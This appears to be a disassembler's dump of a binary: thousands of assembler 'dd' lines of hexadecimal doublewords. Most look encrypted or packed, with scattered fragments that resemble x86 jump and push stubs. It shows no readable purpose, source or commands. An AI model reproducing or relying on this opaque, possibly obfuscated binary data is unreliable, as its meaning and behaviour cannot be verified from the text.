dd 8EECCAC4h, 9E3BD8A5h, 6B302375h, 88759E3Bh, 89B68AB0h
dd 0A02BB3C7h, 0B0EE4A44h, 78569152h, 16E16ED2h, 4F8B4A1Eh
dd 0EBE304DFh, 7E58A05Ch, 0FD0A84E5h, 0B5350E0Eh, 62842ED9h
dd 2944C91Ah, 0EF536F93h, 0DA12D533h, 65924EFCh, 55ECFC67h
dd 79C14985h, 0A8A4C41Fh, 8575F2BFh, 5D390169h, 9FF777F2h
dd 59B93D45h, 0DD38D2E4h, 1D1h, 1CEBE318h, 57209ED9h, 96615D9Ch
dd 0D0BF1753h, 0EF9D515h, 0C424F001h, 81FA7DCAh, 3DBFBA05h
dd 0FD73F641h, 433D3681h, 0AE4A0B90h, 7E61287Bh, 0ED5A34B4h
dd 2D9AF40Ah, 9F637B36h, 0B48D43A1h, 6ED2BBA0h, 1592631h
dd 827E759Eh, 0E4E1926h, 34F8B18h, 0A0A62058h, 0D2EC4CCFh
dd 33D9B502h, 15718A4Dh, 0A463283Bh, 88706F92h, 0A563F47Fh
dd 0F70D6F92h, 0A746AD04h, 0F84EBC0Dh, 1118784h, 9A8BB424h
dd 0B6h, 0FD6644A2h, 6F92C630h, 0A368FB47h, 0B06F92C5h
dd 51D8BF48h, 345E279Bh, 5956B649h, 51698A65h, 0D093BC18h
dd 0B50E3C9Ah, 0FE163335h, 229E3305h, 49E26846h, 93C1920Bh
dd 228547F0h, 759DD2A6h, 9D6A649Ah, 80AA245Ah, 2A04EEF0h
dd 8AE00939h, 19CA284Fh, 6F92BE94h, 0CB05FA3h, 776F430Ch
dd 178255B3h, 0F44984EFh, 0D1292A04h, 8FEF0AF5h, 20AF3D37h
dd 2EDCE45Ah, 0CCEFh, 0EEE80500h, 2BA3C621h, 6462995Ch
dd 0A21C589Bh, 0FCDA12D5h, 21F53A13h, 0E702CDC9h, 0A4BF0886h
dd 78FB4442h, 363B8402h, 4B109D46h, 6A277BAEh, 5A34B473h
dd 9AF40AEDh, 36B4362Dh, 0BCCB258h, 3FCC17F1h, 54759D5Dh
dd 64FF08E4h, 378FEF06h, 0FE492515h, 0EAB7A09Eh, 9759D5Ch
dd 7978725Bh, 0BB17396Eh, 7AC0268Ch, 0C4253E1Ch, 5AA3DCAh
dd 124F8D59h, 45BB3C2Eh, 90D46F49h, 0DF1A0936h, 0AC0725A1h
dd 374058CBh, 58E9D016h, 18DBA422h, 0FD46E4E2h, 0B9EF1D79h
dd 675F985Bh, 0A8B900D8h, 688B7452h, 2896B412h, 18144322h
dd 2FC070F3h, 362026DAh, 4DE76939h, 90A79E33h, 0ACC31DEh
dd 0E9000000h, 0B9323593h, 44F32FDDh, 5F37B45Dh, 0FAD42AADh
dd 116D8F50h, 8F0760FBh, 24A2DA9Dh, 413DBD06h, 0FAD410ABh
dd 16708F50h, 8E0863F4h, 3B68199Ch, 89000034h, 62682434h
dd 8900003Dh, 89572404h, 4C781E7h, 81000000h, 4EFh, 243C8700h
dd 241C895Ch, 8904EC83h, 4BBB241Ch, 890610E4h, 0EC815BD8h
dd 4, 81242489h, 42404h, 685B0000h, 5863h, 89243C89h, 87B89C7h
dd 241C8B5Fh, 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch
dd 81582434h, 4C4h, 531BE900h, 0AA17FFFBh, 0AEFD322Eh
dd 0B8AF0472h, 610EFA2h, 0E0FFC503h, 46AD115Dh, 1B263D0Dh
dd 2B71C282h, 68CE047Bh, 7F2B65AFh, 7B1DD432h, 3DC7BF4h
dd 7EC077E2h, 43C168F7h, 7D109B7h, 3156B34Dh, 39B6FDFDh
dd 41D57F6Fh, 413E4A6Ch, 314BDF22h, 649FD689h, 5423E5D1h
dd 4A8DBEB2h, 34972B24h, 6772D7F2h, 0F17E8D8Dh, 66500610h
dd 5F858DBAh, 174D8D89h, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1D0424h, 57470000h, 5873A2C3h, 0FA8EC9E1h
dd 0E9FBA440h, 0Ch, 0AB34E372h, 11A0B9Ch, 0CCAD510Ch, 11985C7h
dd 6F90060Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 0F2FBE9C3h, 0B30BA3BEh, 985C7C8h
dd 60B10h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 0D275C356h, 0DEBA0C54h, 7BA00166h
dd 0EE9h, 0CC7BE900h, 0F2442EE4h, 9AD5C681h, 0FF5AA0DAh
dd 0B1AA9B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1504h, 0C3514100h, 5EB68DD6h, 9E9h, 1613B300h, 0C002BE43h
dd 95FFE82Eh, 60B0AC5h, 0F08B6656h, 69BD895Eh, 6A060B07h
dd 0DD95FF00h, 8B060B32h, 24FEBC0h, 0D4BD645h, 72BFB30h
dd 3A8B8D25h, 0FEE7FD95h, 0CF2DC435h, 7F248539h, 503BC5B7h
dd 0BE598A54h, 0E6E775D8h, 355A26FEh, 51458F78h, 0E692C404h
dd 853C12F3h, 8EC48009h, 0C4D0E24Fh, 31D8BA5Eh, 8E6DFA2Dh
dd 41E22696h, 6917CADh, 13E8662Fh, 95000000h, 0D354F759h
dd 830B53EFh, 5271075h, 14336D91h, 32BAA5B4h, 58400934h
dd 81D38B66h, 6B71C0h, 91952300h, 0BB060B07h, 60C32C67h
dd 0EE51C381h, 0D7819F3Ch, 1A5A4D55h, 0B50130FFh, 60B0635h
dd 5870F5Eh, 66000000h, 4F4CE781h, 46BAC681h, 0BA661B10h
dd 0F6811319h, 5AB43611h, 8AEE81FCh, 0B1E5046h, 0B28B195h
dd 83308906h, 0BD8B01E8h, 60B001Dh, 0E9484848h, 0Dh, 74762138h
dd 2138B877h, 0B8777476h, 850F4B38h, 0FFFFFFA8h, 7D2DBF66h
dd 7D0079EBh, 218CEF9Eh, 0AFD60FE2h, 0B2979FABh, 0B7E37C4Dh
dd 0E5720095h, 9CB5E9A9h, 77609BB6h, 94A9B6F3h, 0D7609EB7h
dd 0BD897D60h, 0BD8C9EA9h, 0ACE3729Eh, 8B204A95h, 937E9BB9h
dd 96B99D89h, 9E96AFF4h, 0D6B594A1h, 0FD91A7h, 4ACC48D1h
dd 713C3359h, 0DB4D5200h, 0D65EF357h, 0B79BB7h, 95ABAFF6h
dd 0F0009F89h, 0D7C77156h, 1800BEB3h, 0C4D75671h, 2273E2ADh
dd 0E9554F4Dh, 1077h, 10F4ED68h, 8C41E906h, 0C068FFFAh
dd 0E90610F5h, 0FFFA8C37h, 10F69068h, 8C2DE906h, 0EB68FFFAh
dd 0E90610F7h, 0FFFA8C23h, 10F87068h, 8C19E906h, 4268FFFAh
dd 0E90610F9h, 0FFFA8C0Fh, 10F9DD68h, 8C05E906h, 0AB68FFFAh
dd 0E90610FAh, 0FFFA8BFBh, 10FB6A68h, 8BF1E906h, 3068FFFAh
dd 0E90610FCh, 0FFFA8BE7h, 10FDB168h, 8BDDE906h, 9D68FFFAh
dd 0E9061100h, 0FFFA8BD3h, 11019068h, 8BC9E906h, 66B0FFFAh
dd 0C1BF46Fh, 0BAC9263Dh, 6BB35C87h, 1A1E8F54h, 5299383Bh
dd 855E61BBh, 352E1368h, 62F1CCD8h, 9E457085h, 1377FF6Dh
dd 94C584EEh, 0D5DEBF25h, 5F231E6Dh, 0A9B3077Bh, 67234D32h
dd 7EA4D520h, 6B7A856Fh, 0D2ED37D0h, 18362A6Eh, 220EE035h
dd 97F99A52h, 4DDF0478h, 87DFABC3h, 6A50C394h, 89A79AE3h
dd 0EDC6735h, 9F831BE6h, 62D62CBDh, 618982C2h, 1885573Ah
dd 764A3E03h, 35CFDED8h, 2C35A114h, 5C3Dh, 0D6FDB00h, 0EC39E476h
dd 5409680Ah, 0C6011F9h, 0C0AA44B8h, 9F1A0DACh, 0B41862BDh
dd 9CE914A6h, 69F9DDA1h, 3A60E81Dh, 0F67EA892h, 3A60E896h
dd 0E70F9943h, 3A60E8E3h, 59AF1E64h, 0E7E6C06Eh, 792DFE5Dh
dd 0C259C37Fh, 0A4133A24h, 0B2292C35h, 0A2EB03D1h, 5A1FC97Eh
dd 0D5h, 0F8D5DEA2h, 0BB5FA514h, 99007A94h, 0F4E874h, 8D714C59h
dd 136BCBDCh, 64582Ch, 0C6024BD3h, 27D6C394h, 3A1EE2DDh
dd 0D9F4010Ch, 0AD98ED1Ah, 0A0BBC1D9h, 169E28BAh, 0C394C472h
dd 310C18F5h, 0FB15094Dh, 9FDA6E6Bh, 8C20B2BDh, 3A61B2F8h
dd 7EDD0B4Fh, 0D027D604h, 20AC47E1h, 2296ADF5h, 207C40EEh
dd 375DD11Bh, 88446C23h, 247DA8B2h, 0B751B519h, 8DB0C835h
dd 0D370E05Fh, 563A1762h, 0AD5AC572h, 0FED2EF34h, 22769750h
dd 0A376D413h, 858D8C6Ah, 0DD5C2h, 0E8E73300h, 0BE8B9A0Bh
dd 3948A5h, 0D5EC32D3h, 0A49BE10Eh, 3AD118BFh, 0EB04DFE6h
dd 5BB4AF92h, 4E1724Dh, 0EC1DC6F3h, 0E99CE87Ch, 0A413C584h
dd 0FBDADE3Ch, 0DA7A8F78h, 589BFFC6h, 0AD0D6FB8h, 0B22F195Dh
dd 6FFDD189h, 0E9E430DDh, 0C606B73Fh, 1367BD9Fh, 0FCCDDCC9h
dd 1676FE52h, 0C33A6184h, 0D3CD4D1h, 242C368Ah, 0ADh, 0F8D5DEC0h
dd 605FA514h, 1B0D549Ch, 5BACC394h, 611FC6Eh, 0E50347CBh
dd 0A590E502h, 0B8C3D9D1h, 0FF3F3AB2h, 0CA304260h, 6A1E9620h
dd 903A60CCh, 60CC681Ch, 3C9BFF3Ah, 0EF4F28C6h, 8CBD2D8Dh
dd 0EFABD5CFh, 639C6C6Dh, 0DD315FAAh, 68EEE70Fh, 1B7F446Dh
dd 0E1DC24D1h, 0B08F9572h, 6ACDC5B7h, 0B708FA8Ch, 0D02h
dd 263D141Eh, 5083BEC9h, 8E5564B7h, 393A1961h, 6A89B4CCh
dd 136984EBh, 0C1D6372Ch, 7E8667FCh, 26739C47h, 29C3C82Bh
dd 84E8C185h, 1F746C5h, 78FBDADEh, 4F201ECh, 0EB1C63B8h
dd 20CE2234h, 76EDD82Dh, 0F8D5DE8Eh, 6550A514h, 0CF0211FEh
dd 4281927Bh, 941D5E2Ah, 3E9D1C3h, 941D9FEBh, 362A10C3h
dd 93AEF924h, 0BA3DEB2Fh, 0F983BDD5h, 5174F862h, 0D6BD9F05h
dd 0A7B8BECh, 3C34EAD6h, 9D11DB60h, 0BFF450D8h, 49A1156Dh
dd 5D68BD33h, 0BFCB63E9h, 303FCB62h, 0E004D6CAh, 3FCB62E4h
dd 2933176Bh, 2A9EABFCh, 3EB638D6h, 41C6AD56h, 9A0BD129h
dd 1CAEBC89h, 0C51CFC88h, 0E10F7335h, 0A19CE906h, 10200A6h
dd 0B017F38Ah, 0C32h, 0D60D444Eh, 0D3EE39h, 0BEA594E7h
dd 0E90A4951h, 1AD9E43Ch, 4359B4BBh
dd 0F106E77Ch, 0AEF617CCh, 56A34C97h, 0D913F87Bh, 84EB3155h
dd 51C7B6C5h, 14F8D5DEh, 0E1058814h, 0C3941DE5h, 50241564h
dd 5BBF837Ch, 9BEF0791h, 6CC3941Dh, 0FE76F816h, 0BD9F1EABh
dd 56DEA51h, 8550957h, 0DA1961DEh, 0F17B009Ch, 6B03687Dh
dd 5785FD44h, 0B1080BE8h, 0BA548835h, 9BEE9E56h, 0B13B307Dh
dd 9BFB8F27h, 764C307Dh, 35CFDED8h, 262A7714h, 92ADFB2Ah
dd 1FE3DE2Bh, 44740D3Bh, 90000000h, 90E30D6Fh, 59745B9h
dd 92BC8D98h, 9EE155C2h, 7EECD6BDh, 9C4E798Fh, 640C303Fh
dd 43EDEF96h, 684C3EA0h, 43B23A60h, 63EA043Bh, 6F66AE16h
dd 0E93FE80Bh, 97E10CDEh, 56F0D4B8h, 0B541DF2h, 6FA70000h
dd 5AE4760Dh, 1D20A4C8h, 51A9C394h, 83AD9562h, 844A48F3h
dd 0AAC24CBDh, 3A7B10DEh, 40BF6951h, 0F005F07Ah, 82764B50h
dd 105034B8h, 0E3D73A7Bh, 5F48AB8Fh, 6165894Ah, 0E63A7B10h
dd 0D4D4B89Ch, 5A9B3C8h, 446B47EBh, 1B6F8711h, 0EC304A07h
dd 7C9B7896h, 6D7DB05h, 0CB117597h, 67FCC9DAh, 0FC407D86h
dd 915BE0BCh, 41A1001Dh, 62EDD54Eh, 927E4D46h, 0D7F255BDh
dd 3500000Ah, 9C09EAE1h, 4ABBB889h, 34D1023Fh, 0E30CD7EEh
dd 6BDA699h, 0D9E43CDFh, 0A994ED1Ah, 7C4B5D4Ah, 0C0FD06E7h
dd 0EA02EE13h, 0C584EA9Eh, 0A73AA211h, 0C3941D27h, 6CFE8517h
dd 844A3EF8h, 0C8DCB1BDh, 0D13509FDh, 29899A0Bh, 162B76DEh
dd 160A6EA2h, 0BD3143CDh, 3A7B13C9h, 43CA645Eh, 24D11B36h
dd 0C246E0D1h, 0A349D2AAh, 70105E0Bh, 505D8244h, 0DE2F444Eh
dd 47BB98B6h, 6E7BCA88h, 4639098Ch, 0A52h, 0F66D64AEh
dd 20330E19h, 5E85B4C7h, 896A69B1h, 3A39041Ch, 63B9549Bh
dd 1166875Ch, 0CED6372Ch, 76836CF7h, 0F973985Bh, 84E51175h
dd 0B12796C5h, 1B6DD5DEh, 0A6F1582Ch, 1A5B7ABh, 0C3941D45h
dd 289CF0CAh, 0B5193441h, 72F6F78Dh, 0F4457483h, 0E82C90A1h
dd 0D2DDC3Eh, 28043240h, 0E0000004h, 764B50BDh, 1CA04E82h
dd 8471FB80h, 0CDB59D73h, 0D01781E7h, 1A3408FCh, 102EDC50h
dd 0CCA1BD84h, 0C5398DB8h, 798A7BE1h, 2D76974Ch, 0C484AC10h
dd 263A7B75h, 99634BB9h, 0B452621Bh, 5D8F94E8h, 9E526CD3h
dd 7B4E62h, 1C70C4F5h, 23460E38h, 0C94470F0h, 0FA08292h
dd 7071E3E7h, 0E11E6430h, 79974150h, 1DA7A09Ah, 0E28C6DD9h
dd 980AF60h, 8A9C0000h, 3047A0B3h, 0E635D201h, 879F08EBh
dd 364ABBB8h, 66DD40Fh, 0B1A29DE7h, 0E1724F54h, 1EC5F004h
dd 4AA9A4F1h, 4703AB41h, 0C8C584E4h, 0D5DE8379h, 50A514F8h
dd 2B619165h, 0CC7669Ah, 70E23240h, 0A000003h, 941D27A7h
dd 88517C3h, 941DE0E4h, 3F1367C3h, 403CA32Dh, 76889438h
dd 85C165F7h, 0AC394F3h, 0C64E1630h, 79BD84A4h, 0D92ADB01h
dd 7A8F7EECh, 276B04Fh, 0D568B64Eh, 3A4FB83Bh, 1963BB0Fh
dd 1154D802h, 5644701Eh, 0EEBE36Ch, 2A188C6Eh, 8E555h
dd 0D8F70300h, 0AE9BEA1Bh, 704958B5h, 0C5FC02E3h, 94ABF11Eh
dd 0AE1084Fh, 0FB14CFF6h, 0AB449FA2h, 14F1625Dh, 0DC2D3603h
dd 0E4EC980Ch, 9463C584h, 0F8D5DE2Ch, 6550A514h, 0E3D22891h
dd 0FF67AE1Fh, 0D62A9EA9h, 56500EF2h, 811B3B57h, 0D5D8C04h
dd 0C4743240h, 90000002h, 941D27A7h, 88517C3h, 941DE0E4h
dd 3F1367C3h, 7F0BA32Dh, 0F0C3941Dh, 925C8Ah, 0C74B8695h
dd 30916583h, 50BD844Ah, 0EB3B99C6h, 12C0FB69h, 7B4CB6D2h
dd 27C1393Ah, 0EEC0928h, 0A04831D8h, 1A6F9E4Ch, 0F45865BAh
dd 46A7BC90h, 0AEBC003Dh, 0EC1A257Fh, 0DD22CCD0h, 1F381CE0h
dd 0E0B1391Bh, 3923071Ah, 700054B5h, 66E1D944h, 8C6DF04Ah
dd 17CE8181h, 75000008h, 0DCC92A21h, 8A7BF8C9h, 7491427Fh
dd 23CC172Eh, 0C67DE6D9h, 19247C9Fh, 0E9D42DDAh, 0BC8B9D0Ah
dd 3D46A7h, 0AAC22ED3h, 0C584E7DEh, 0DE7AE251h, 0A514F8D5h
dd 48F76550h, 0F819AEB3h, 79D17F40h, 0E308859Fh, 24F16096h
dd 9E0F2EABh, 2DFECDE6h, 6C40A456h, 2E405F7h, 7CD3241h
dd 2B000000h, 1E6C8h, 21A75000h, 1DC3941Dh, 0E476E47Fh
dd 941D0440h, 99B78BC3h, 0B33B45D7h, 0C3941DD7h, 6E29B958h
dd 0F83781B3h, 0AADE5684h, 3DC39430h, 0E75B2BC5h, 78BD8467h
dd 0D82DD802h, 0A81C2D78h, 2E37054h, 3870C4F1h, 990DDF64h
dd 44702D68h, 28529DE5h, 0DB8C6DCDh, 758A86Fh, 62B40000h
dd 81F886Bh, 0BECD3A39h, 6FB75083h, 1E628350h, 5E853C27h
dd 995A65BFh, 0C92A176Ch, 66FDC8DCh, 92417C89h, 1F6B8369h
dd 90C584E6h, 0D5DEBB21h, 50A514F8h, 1D6F1B93h, 0AAEEC394h
dd 0F2D62CABh, 536EBD68h, 69E35DB5h, 0BECB6BBCh, 2781AF83h
dd 193441A6h, 0F10F3EDAh, 103A3240h, 0C2000000h, 126C8h
dd 93B72400h, 0CAA519FDh, 0BDC43AD4h, 0D8764B50h, 941D7B0Ch
dd 122973C3h, 0F001BEC8h, 0D73FAC67h, 4FEC7896h, 20BD8467h
dd 178610DAh, 0D413504h, 0B9196AE3h, 86B1C761h, 1195A2h
dd 0F9AB82D3h, 64B15E85h, 0F785E569h, 9776FE6Ch, 1844708Ah
dd 735762B7h, 6D6AF8F4h, 4C03078Ch, 692h, 0B6ADA4EEh, 0E0734E59h
dd 1EC5F407h, 49AAA9F1h, 0FA79445Ch, 0A3F9145Bh, 51A6479Ch
dd 0E16F76Ch, 0B6C32C37h, 0B9B3589Bh, 84E15135h, 0F167D6C5h
dd 14F8D5DEh, 0F5C4D7C6h, 4FA1F25Bh, 1B026CAAh, 829B62ABh
dd 93F7CBBFh, 6DFF712Fh, 94878DF9h, 513802C3h, 0C4DE0847h
dd 0FAD720C9h, 467D8570h, 1CCDCFA8h, 2232418Bh, 2397AAF3h
dd 7B841EFh, 44000000h, 4EC8h, 0D5DE5000h, 50A514F8h, 0B3B19165h
dd 1DF98D21h, 8B23C394h, 0C3941DFFh, 438D0A70h, 941D5F2Bh
dd 0F6EAD0C3h, 0A64F5E58h, 0BFA605Dh, 71485BF1h, 0E155498Dh
dd 0FECBDCADh, 46609750h, 0FC000000h, 48110911h, 51636400h
dd 0A4F746BAh, 0DE857B95h, 0C614F8D5h, 0A024F499h, 4B916052h
dd 94ADA723h, 34D228C3h, 94AD21A0h, 3CC913C3h, 1D62C2D7h
dd 4785C20h, 415944D6h, 0BA4A8E72h, 0C394ADCEh, 14CF7941h
dd 4B50BDECh, 2075D876h, 3349A115h, 1D3256DEh, 4DB5C394h
dd 0C06B8369h, 0D4BD844Ah, 58E7DA29h, 7555368Fh, 0C542ECE3h
dd 75BE6FFDh, 9AD73A83h, 3428C6E9h, 98B5FE2Fh, 93A8F434h
dd 0E90B2549h, 0A731446Bh, 4AAC7B0Fh, 58F6CC30h, 0A85587FBh
dd 7410945Fh, 0FB304AACh, 57B0A387h, 6B837742h, 4CE00A11h
dd 4E41AB51h, 3D041A8Bh, 4FE77549h, 2E47B13Bh, 0BB98B68Ch
dd 540E8847h, 0C54D927Eh, 51102h, 2C1B6F00h, 0F2CFD637h
dd 44758461h, 29286E9Fh, 0F8C7DDCAh, 7695DC7Bh, 27C01322h
dd 9770E3DEh, 40ADB681h, 30D91A37h, 0E0D0B438h, 0E857C584h
dd 0ED5DE70h, 941DE2E6h, 391D65C3h, 881CAE3Ah, 0C3941DFCh
dd 6CE10F73h, 0F35A2E1Bh, 1A41ABA6h, 48CF95E5h, 8189A7B3h
dd 9FDC0D8h, 947851A0h, 1CE0DF25h, 0D5D0CA38h, 26266662h
dd 9CF00369h, 3CE5E022h, 0FB05DEEBh, 32413B52h, 6F7Fh
dd 0D6F9900h, 0D740E476h, 58BD9EE1h, 0B94AA0F7h, 0BA2A03C8h
dd 0F3795DB1h, 18DBF202h, 7CF0028Ch, 3A608B08h, 0DFABBB9Fh
dd 503A608Bh, 5A28BC6Ah, 0B83A608Bh, 8408374Dh, 97AAF940h
dd 6D839479h, 1B509E5Ch, 8D564A5Ah, 0BDCF1460h, 60E95D29h
dd 18E8D23Ah, 3A60E96Ch, 0B1BB9FE3h, 29AC9B0Ah, 3BD55D86h
dd 42870D7h, 1EC0000h, 352BC5F8h, 0E4760D6Fh, 63D7EA39h
dd 0C76F012Fh, 0BD9F1AC2h, 228B7F43h, 3010E4D1h, 0E9B3EBFAh
dd 21648852h, 26446BE1h, 455707DCh, 10A22C3Eh, 7DE8E89Ch
dd 0ED1B7F30h, 76EF2C19h, 75D9214Eh, 9B417C84h, 0BC8D9C09h
dd 87CF4C8h, 9F2E4AF2h, 66EAE72Eh, 287FCE22h, 0FE1BEF19h
dd 5A758372h, 327492F6h, 6CA1FBB3h, 4AF28CF8h, 0A5C9032Eh
dd 2E4AF221h, 4785CA6h, 0F56B5ED6h, 86FC5041h, 0D222D35Dh
dd 0F7ED990Dh, 18622447h, 0D27C5024h, 0AF132E7Bh, 5298B5FEh
dd 0F4C3D5C0h, 4004CC00h, 0C72447F7h, 0C49255F3h, 0B5D155B8h
dd 3A2447F7h, 0EC7EECC0h, 47F70C78h, 91BF8324h, 0ABC34DDFh
dd 2447F7DFh, 9064595Eh, 51FFC3BCh, 4CF33885h, 46EE0D5Ah
dd 0DB0E7E0Bh, 2F3795Dh, 0A4951F1h, 9A6E4286h, 0A08088A6h
dd 225C3620h, 44F867F5h, 26A49034h, 7A8B2DDBh, 8F36786h
dd 714214h, 0BDAA0000h, 80744550h, 0AE4CB34Ch, 93EE7C68h
dd 0C8532975h, 0EE069022h, 0C394439Ah, 6BFB156Dh, 0BD9F5BCAh
dd 61EB5FA3h, 0BCC26EB4h, 22DDA185h, 0A76BFF31h, 3CEACE5Bh
dd 61D0D8A8h, 0E741593Ah, 0FB4FA39Eh, 43370E12h, 0E29C2903h
dd 0A058554Fh, 2C36BD89h, 6E8408B7h, 0E2FD891Dh, 8723A61h
dd 0F52696CFh, 3EBBCF67h, 360C3A61h, 0CD4118h, 0DEAF0000h
dd 8372F8D5h, 91F55970h, 0D62A9377h, 61B21BEFh, 0EC39E054h
dd 98012C0Ah, 48AC0A6Dh, 3D7A03ABh, 0A8FDC394h, 5CA9469Dh
dd 0FF9D9D61h, 977EF664h, 5BD9F08h, 121773FBh, 37983A61h
dd 2B6FD3EEh, 6F870837h, 0AF9A400Dh, 0B2B88281h, 0B0043B43h
dd 6531B25Ch, 61DE0C17h, 7DD23BFAh, 81DEC1Ch, 0DB75493Dh
dd 0BF6C9D11h, 99E1446Ch, 675EA253h, 0C00913FCh, 739CD8ACh
dd 0E26BAF30h, 0F8DCA09Dh, 7F4D4B84h, 80828C6Ah, 225CFh
dd 18374300h, 0EEDB2ADBh, 0B0899875h, 53C42A3h, 0D4EB31DEh
dd 4AA1C80Fh, 3BD40F36h, 0EB04DFE2h, 54B1A29Dh, 1CED7643h
dd 1D2C58CCh, 0D4A3C585h, 0FBDADE6Ch, 4F7A8F78h, 162B709Dh
dd 6F997FF8h, 39E4760Dh, 0B933DDE0h, 9F058435h, 2D91E9BDh
dd 15608D1Fh, 0F47C5024h, 3A60CB90h, 71052317h, 3A60CB11h
dd 0ECA714C4h, 479CD0DCh, 28325C3h, 35EF5F8Eh, 0EAFE5D2Ch
dd 501A288h, 0D713E600h, 0FD000000h, 14F8D5DEh, 1E965FA5h
dd 0C3941D6Ah, 0DDA185FDh, 941B4C15h, 749AEFC3h, 8B70186Ch
dd 5D86FA39h, 0E66A67B0h, 26A2CA54h, 0A93C6BD2h, 95E7B751h
dd 21C85C8Eh, 0F34260E5h, 7CC0FD02h, 2911EE18h, 9E106CCAh
dd 9547BB9Ah, 6D301311h, 74E6DC44h, 9F4D7089h, 73107317h
dd 608EF430h, 3A051F8Eh, 89B4CC39h, 6AF3847Eh, 0E45BAF8Ch
dd 132h, 0D60D444Eh, 0D3EE39h, 0BEA594E7h, 0E90A4951h
dd 1AD9E43Ch, 4359B4BBh, 0F106E77Ch, 0AEF617CCh, 56A34C97h
dd 0D913F87Bh, 851C3155h, 51C7B6C5h, 0CFBB33BDh, 2DC3941Dh
dd 941DCDB9h, 9F7842C3h, 78808DBBh, 1B669745h, 0EC7E5226h
dd 941D0C78h, 91BF83C3h, 0C7E55AD6h, 9CD1CDA3h, 0B465138h
dd 2A2770DDh, 50BDCBC9h, 4C807445h, 635EABA2h, 0E8E52E9Fh
dd 0B6899302h, 87608EC2h, 1A3DD605h, 372D9D7Fh, 7F982259h
dd 0BF581309h, 879FA63h, 0DDE10FD1h, 0EAE931BFh, 0A3C064F6h
dd 2CBD8473h, 839904D6h, 5AF4C8BCh, 1CF207F6h, 816C6D38h
dd 1F2A7DAFh, 1F7357ABh, 0E3DE2BC4h, 4799D71Fh, 67BD8926h
dd 0E933E266h, 20F562D6h, 8F7F8422h, 8984A286h, 0F1CCD47Ch
dd 0EFC3F208h, 268E9B74h, 3A1EE2DFh, 738B72C6h, 0EF2C1D9h
dd 44A50DCAh, 39B9BA17h, 0CCC471C5h, 0F2CFD8C1h, 3256DE68h
dd 0B565054Dh, 27C0A34Dh, 0C913E7D2h, 4D5337BFh, 0EED46505h
dd 3E6F8651h, 0C563B624h, 115Eh, 0E884E600h, 68DCEB3Dh
dd 311FEB14h, 34F19D6Dh, 0D4DE241Ah, 57A009FDh, 0D127967Ah
dd 52AB12E6h, 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h
dd 0FA0DFC40h, 68CF7BCFh, 2E87h, 50241489h, 405E089h, 83000000h
dd 48704E8h, 2C895C24h, 0E7895724h, 4C781h, 0EF830000h
dd 243C8704h, 240C895Ch, 8904EC83h, 6EBE2434h, 890610F3h
dd 8B545EF5h, 0C481240Ch, 4, 599868h, 242C8900h, 8B08418Fh
dd 8950240Ch, 405E0h, 4050000h, 87000000h, 0FF5C2404h
dd 815D2434h, 4C4h, 7BDDE900h, 2CD2FFFAh, 4A1CDDAFh, 0B818D99Ah
dd 61102E7h, 0E0FFC503h, 651241FDh, 6CD8CBDBh, 6C55BF55h
dd 1633140Ch, 33249845h, 37EA18F0h, 2CC0F5FCh, 567A18B5h
dd 35BCE4DCh, 33EFB9F4h, 671571E4h, 6056B3D6h, 19D6EF14h
dd 786EBC49h, 79A73E4Ah, 77E3D205h, 7BF5EEC6h, 51FFDA11h
dd 2488B27Eh, 52B39A69h, 4AB6E430h, 4B610EC7h, 2DF389A7h
dd 57494D83h, 17DE9h, 0FE5D6000h, 0C2016C4Fh, 0CAD1D76Fh
dd 7E41EFB4h, 9752E45Bh, 0A3FB6D5Dh, 0B99244FCh, 0D792A59Eh
dd 0B9E495BCh, 0B2CB0093h, 0ACA3F49Dh, 9EB9FC9Ch, 0C945D200h
dd 0EE73AFh, 0BA9755FCh, 0E56D599Ch, 0ACFFB2A4h, 57F647FEh
dd 0CCD4C456h, 7DB5F600h, 9549F78Fh, 0BCFA9753h, 5CCD45C9h
dd 0E56CA191h, 10000ACh, 43h dup(0)
dd 0D1F80000h, 0DA43736h, 66FD3C2h, 0F2E94B58h, 6800000Fh
dd 6110710h, 0FB3DD8E9h, 7EA68FFh, 0CEE90611h, 68FFFB3Dh
dd 6110969h, 0FB3DC4E9h, 0A2668FFh, 0BAE90611h, 68FFFB3Dh
dd 6110B3Ah, 0FB3DB0E9h, 0C4968FFh, 0A6E90611h, 68FFFB3Dh
dd 6110CD3h, 0FB3D9CE9h, 0D4868FFh, 92E90611h, 68FFFB3Dh
dd 6110E64h, 0FB3D88E9h, 0F2368FFh, 7EE90611h, 68FFFB3Dh
dd 6110FE6h, 0FB3D74E9h, 109068FFh, 6AE90611h, 68FFFB3Dh
dd 6111167h, 0FB3D60E9h, 129B68FFh, 56E90611h, 68FFFB3Dh
dd 611136Eh, 0FB3D4CE9h, 0A6205DFFh, 0E3DB1ED9h, 3C9AD114h
dd 7A549053h, 0B4126A8Dh, 792DC2CBh, 3F3A8501h, 0FC77C0BEh
dd 0B0B31C7Ah, 7EF35C3Ah, 6248D51Eh, 226F7BAEh, 5836B43Bh
dd 0FBD329B2h, 7AC0260Ch, 58BFCB1Ch, 31AA4F8Ah, 0CD2DDFB7h
dd 0E770FB11h, 816F9258h, 0C304804Bh, 8A25D2ACh, 0BC0DEF21h
dd 4C82h, 637B9300h, 8D43A19Fh, 2586A9D9h, 0E407DC1Ah
dd 528A5DEAh, 5F4F8B53h, 0E88E661h, 93125825h, 27837F6Fh
dd 0D2915705h, 73888113h, 0B607D27Dh, 0AC6F9317h, 7D8724Ch
dd 0B7FEDE9h, 5B3CE6D5h, 78E33685h, 2BBC0D33h, 0C1h, 5836B4CCh
dd 92D129B2h, 6DCD7F57h, 5A9C57B1h, 4339D37Ch, 0FC6E6880h
dd 2FA7C71Ch, 0B732DD3Dh, 0E0635D39h, 3FE30985h, 85FB7C10h
dd 855EBE09h, 15E06F67h, 759D58D2h, 430C8AE0h, 0D42B4AA0h
dd 8EEC1EFAh, 0B65432B5h, 0F1F5BD4Ah, 68042F09h, 6D4F8A6Dh
dd 0D60822EDh, 6E21326Ch, 6D49845Ah, 5DD64E87h, 2783B9E2h
dd 90EE0EC9h, 0D2ACCC27h, 5A74A410h, 8441EBE4h, 0D72h
dd 804F47A4h, 3B840265h, 7AC5C138h, 0B4037BFFh, 0F25D39B1h
